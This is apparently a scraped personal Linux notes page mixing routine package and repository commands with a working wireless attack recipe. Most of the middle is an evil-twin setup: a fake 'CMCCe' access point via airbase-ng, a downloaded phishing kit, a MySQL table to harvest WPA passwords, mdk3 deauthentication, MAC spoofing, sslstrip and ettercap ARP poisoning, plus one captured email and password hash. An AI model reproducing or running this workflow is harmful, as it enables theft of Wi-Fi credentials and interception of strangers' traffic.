linux下的一些笔记

  1 apt-get update && apt-get upgrade && apt-get dist-upgrade
  2
  3
  4 apt-get install dhcp3-server
  5 file /etc/dhcp/dhcpd.conf
  6 authoritative;
  7 default-lease-time 600;
  8 max-lease-time 7200;
  9 subnet 192.168.1.128 netmask 255.255.255.128 {
 10 option subnet-mask 255.255.255.128;
 11 option broadcast-address 192.168.1.255;
 12 option routers 192.168.1.129;
 13 option domain-name-servers 202.101.224.68;
 14 range 192.168.1.130 192.168.1.140;
 15 }
 16
 17
 18
 19 cd /var/www/
 20 rm index.html
 21 wget http://hackthistv.com/eviltwin.zip
 22 unzip eviltwin.zip
 23 rm eviltwin.zip
 24
 25
 26
 27 /etc/init.d/apache2 start
 28 /etc/init.d/mysql  start
 29
 30 mysql -u root
 31 create database evil_twin;
 32 use evil_twin;
 33 create table wpa_keys(password varchar(64),confirm varchar(64));
 34 ip route
 35 airmon-ng start wlan0
 36
 37 airodump-ng-oui-update
 38 airodump-ng -M mon0
 39
 40 airbase-ng -e CMCCe -c 6 -P mon0
 41
 42
 43 ifconfig at0 192.168.1.129 netmask 255.255.255.128
 44 route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129
 45 echo 1 > /proc/sys/ipv4/ip_forward
 46 iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
 47 iptables --append FORWARD --in-interface at0 -j ACCEPT
 48 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.26.107.2:80
 49 iptables -t nat -A POSTROUTING -j MASQUERADE
 50
 51 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
 52 /etc/init.d/isc-dhcp-server start
 53
 54
 55 echo MAC > blacklist
 56 mdk3 mon0 d -b blacklist -c 6
 57
 58
 59 select * from wpa keys;
 60
 61
 62
 63 [email protected]:~# airbase-ng -c 11 -e freewifi mon0
 64 11:15:16  Created tap interface at0
 65 11:15:16  Trying to set MTU on at0 to 1500
 66 11:15:16  Trying to set MTU on mon0 to 1800
 67 11:15:16  Access Point with BSSID 08:ED:B9:74:0A:33 started.
 68 Error: Got channel -1, expected a value > 0.
 69 [email protected]163.com&password=d71074aef9a11b50dc0333baa3d9d653
 70 cat -n /proc/net/ip_conntrack |grep tcp |awk ‘{print $2"\t"$5"\t"$6"\t"$7"\t"$8"\t"$9"\t"$11}‘|more
 71
 72
 73 ifconfig eth0 down
 74 macchanger -a eth0
 75 ifconfig eth0 up
 76
 77 macchanger -m  00:46:4b:c7:75:ae eth0
 78 iptables -t nat -F
 79 cat /proc/sys/net/ipv4/ip_forward
 80
 81
 82 echo 1 > /proc/sys/net/ipv4/ip_forward
 83 sysctl -w net.ipv4.ip_forward=1
 84 cat /proc/sys/net/ipv4/ip_forward
 85 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
 86 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000
 87 sslstrip -l 10000
 88
 89
 90  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118
 91
 92
 93
 94 apt-get install network-manager-pptp network-manager-pptp-gnome
 95
 96 http://www.cnblogs.com/xunbu7/p/3853608.html
 97 http://www.cnblogs.com/tk091/p/3667600.html
 98
 99 figlet "linux4chou" -f /usr/share/figlet/larry3d.flf
100 *******************************************************************
101
102     gedit /etc/chromium/default
103     grub-mkconfig -o /boot/grub/grub.cfg
104
105        cd /opt/google/chrome/
106        hexedit chrome
107     Press Tab -> Switch to ASCII
108     Press Ctrl+ S -> Search "geteuid"
109      Modify to "getppid"
110     Press Ctrl+ X -> Save
111
112 sudo apt-get purge $( dpkg --list | grep -P -o "linux-image-\d\S+" | grep -v $(uname -r | grep -P -o ".+\d")
113
114 ********************************************************************************
115
116 deb http://mirrors.163.com/debian wheezy main non-free contrib
117 deb http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free
118 deb-src http://mirrors.163.com/debian wheezy main non-free contrib
119 deb-src http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free
120
121 deb http://mirrors.163.com/debian-security wheezy/updates main contrib non-free
122 deb-src http://mirrors.163.com/debian-security wheezy/updates main contrib non-free
123
124
125 deb http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free
126 deb-src http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free
127 deb http://dotdeb.90g.org/ stable all
128 deb-src http://dotdeb.90g.org/ stable all
129 deb http://repo.kali.org/kali kali-bleeding-edge main
130 deb-src http://repo.kali.org/kali kali-bleeding-edge main
131 deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
132 deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
133 deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free
134 deb http://deb.opera.com/opera/ stable non-free #Opera Browser (final releases)
135
136
137 sudo apt-get -t wheezy-backports install vlc
138  deb http://http.debian.net/debian wheezy-backports main
139  apt-get update
140 # apt-get install gnome-vlc libdvdcss2
141 ###########################################################################################
142                  ettercap install
143
144 apt-get install debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev  libltdl-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev -y
145
146 If the build fails because you‘re missing a dependency:
147
148 $ (Install any missing dependencies.)
149 $ make clean-all
150 $ cmake ../
151 $ make
152 $ make install
153
154
155 #### Bundled libraries
156 Ettercap now bundles the following libraries with the source distribution:
157   libnet 1.1.6
158   curl 7.38.0
159   luajit 2.0.3
160   check 0.9.14
161
162
163 We will build bundled libraries that Ettercap depends upon, so you
164 don‘t have to!
165
166 By default, the build system will search for system-provided libraries. If it
167 doesn‘t find the particular library it wants, it will build the library, itself.
168
169 # To disable the use of bundled libraries:
170   $ cmake -DBUNDLED_LIBS=Off ../
171
172 # To disable the searching for system-provided libraries, and use
173 # bundled libraries exclusively:
174   $ cmake -DSYSTEM_LIBS=Off ../
175
176 ##########################################################################
177
178
179
180
181
182 apt-get install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome -y
183 /etc/init.d/network-manager restart
184 --------------------------------------------------------------------------
185 sudo apt-get remove --purge linux-image-X.X.XX-XX-generic
186 dpkg --get-selections | grep linux-image
187 dpkg -l linux-* | awk ‘/^ii/{ print $2}‘ | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge
188
189 -----------------------------------------------------------------------
190
191 http://www.xuanhun521.com/
192
193
194 macchanger -m  00:46:4b:c7:75:ae eth0
195 iptables -t nat -F
196 cat /proc/sys/net/ipv4/ip_forward
197
198
199 echo 1 > /proc/sys/net/ipv4/ip_forward
200 sysctl -w net.ipv4.ip_forward=1
201 cat /proc/sys/net/ipv4/ip_forward
202 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
203 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000
204 sslstrip -l 10000
205  ettercap -i  wlan1 -TqP autoadd   -M  arp:remote /172.26.116.1/ //  -m zhua
206
207
208 /etc/init.d/nessusd start
209
210  iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118
211
212
213
214
215
216 http://www.cnblogs.com/xunbu7/p/3853608.html
217 http://www.cnblogs.com/tk091/p/3667600.html
218 sathisharthars.wordpress.com
219
220
221 ********************************************************
222
223 http://eastasiastudent.net/china/mandarin/scim-smart-pinyin  中文输入法
224
225 deb http://mirrors.aliyun.com/kali kali main non-free contrib
226 deb-src http://mirrors.aliyun.com/kali kali main non-free contrib
227 deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free
228 deb http://ftp.cn.debian.org/debian squeeze main
229
230 In the mean time the work around is to add the --user-data-dir flag to the default file (/etc/chromium/default)
231
232 Confirmed if works fine.
233 ###########################################################################################
234  
时间: 2024-11-07 22:15:32

linux下的一些笔记的相关文章

Linux下git学习笔记(一)

我是跟着廖雪峰大神的博客学习git的,他讲的非常容易懂 (http://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000),然后自己跟着学的时候并不是很顺利,向github提交代码的时候老是报错,不过最后google很久之后给解决了. 先回顾下今天学的吧 一:在Linux上安装Git sudo apt-get install git 因为Git是分布式版本控制系统,所以,每个机器都必须自报家门:

Linux下JDK安装笔记

环境说明: Linux版本: CentOS6.2   JDK:jdk-7u60-linux-x64.tar.gz 1.下载jdk-7u60-linux-x64.tar.gz,本人是放到了~/工具 目录下 2.解压缩jdk到 /usr/lib/java-1.7.0/7u60/  ,命令为:sudo tar -zxvf ~/工具/jdk-7u60-linux-x64.tar.gz -C /usr/lib/java-1.7.0/7u60/ 3.执行 vim ~/.bashrc(此文件中的配置,只对当前

linux下crontab使用笔记

1. 安装 service crond status yum install vixie-cron yum install crontabs 2. 实例 每分钟打印当前时间到日志文件 #crontab -e */1 * * * * date >> /tmp/date.txt #tail -f /tmp/date.txt (动态显示该文件) #crontab -e -u username 0-58/2 * * * * echo "EVEN***\n" #crontab -l

Linux下Python学习笔记 2:条件判断、循环

一.条件判断 if 语句 比如,输入用户年龄,根据年龄打印不同的内容,在Python程序中,可以用if语句实现: 注意: Python代码的缩进规则.具有相同缩进的代码被视为代码块,上面的3行 print 语句就构成一个代码块(但不包括第4行的print).如果 if 语句判断为 True,就会执行这个代码块. 缩进请严格按照Python的习惯写法:4个空格,不要使用Tab,更不要混合Tab和空格,否则很容易造成因为缩进引起的语法错误. 在ubuntu下的vim中需要设置tab默认为4个空格,可

Linux下Python学习笔记 1:数据类型

一.开发环境 开发Python的环境选择很多,windows.Linux.MacOs都可以,除了Windows需要在Python官网上下载安装包,并配置环境变量.在Linux和MacOs上都是自带Python的,关于Python的版本大多都是2.7.* 本文选择了Ubuntu环境来学习Python,主要原因是为了顺便熟悉Linux的环境与命令,开发工具选择的是Vim,当然更多其他的选择有Eclipse.Sublime.pycharm等等,根据个人喜好选择即可, 另:文章部分内容来自Imooc和5

Linux下Makefile学习笔记

makefile 可以用于编译和执行多个C/C++源文件和头文件. (1) #include "file.h" 和 #include <file.h> 的区别 #include "file.h" 会先在当前目录下查找file.h,然后才在系统头文件目录中进行查找: #include <file.h>会先查找系统头文件目录,默认是不会在当前目录下查找的. (2) 关于在头文件中使用#ifndef 和 #define 头文件的主要作用在于多个代码

Linux下Mysql操作笔记(持续更新)

远程自动备份shell #!/bin/bash filename=$(date +%Y%m%d) mysqldump -h [host_ip] [database_name] -u[user_name] -p[password]|gzip>/home/mysql/backup/[nameprefix]$filename.gz 使用备份文件恢复数据库 1)首先使用 mysql -u root -p进入命令行 2)使用 source xxx.sql直接恢复

linux下sed命令笔记

sed 流编辑器 Stream EDitor三大文本处理工具:grep,sed,awk 语法:sed 'AddressCommand' file ...Address:    1,StartLine,EndLine        1,100    2,/RegExp/        /^root/    3,/pattern1/,/pattern2/ 模式1至模式2中间的行    4,LineNumber 指定的行    5,$ 最后一行    6,StartLine,+n 从StartLine

Linux下Python学习笔记 3:函数

一.什么是函数 函数简单来理解就是数字按一定规律重复出现的规则,我们知道圆的面积计算公式为:S = πr²,当我们知道半径r的值时,就可以根据公式计算出面积.在编程中函数被进一步封装成了方法,接收外部传入的参数来带入规则,继而返回相应的结果.那方法的封装其实是一种抽象的结果. 抽象是数学中非常常见的概念.举个例子: 计算数列的和,比如:1 + 2 + 3 + ... + 100,写起来十分不方便,于是数学家发明了求和符号∑,可以把1 + 2 + 3 + ... + 100记作: 100 ∑n n

linux下grep命令笔记

grep    -i 不区分大小写    --color 添加颜色        alias grep=grep 'grep --color    -v 显示没有被模式匹配到的行    -o 只显示被模式匹配到的字符串    回顾:    * 任意长度的任意字符    ?任意单个字符    [] 指定范围内    [^] 指定范围外 正则表达式:Regular EXPression,(REGEXP)    元字符:        . 匹配任意单个字符        * 匹配其前面的字符任意次(贪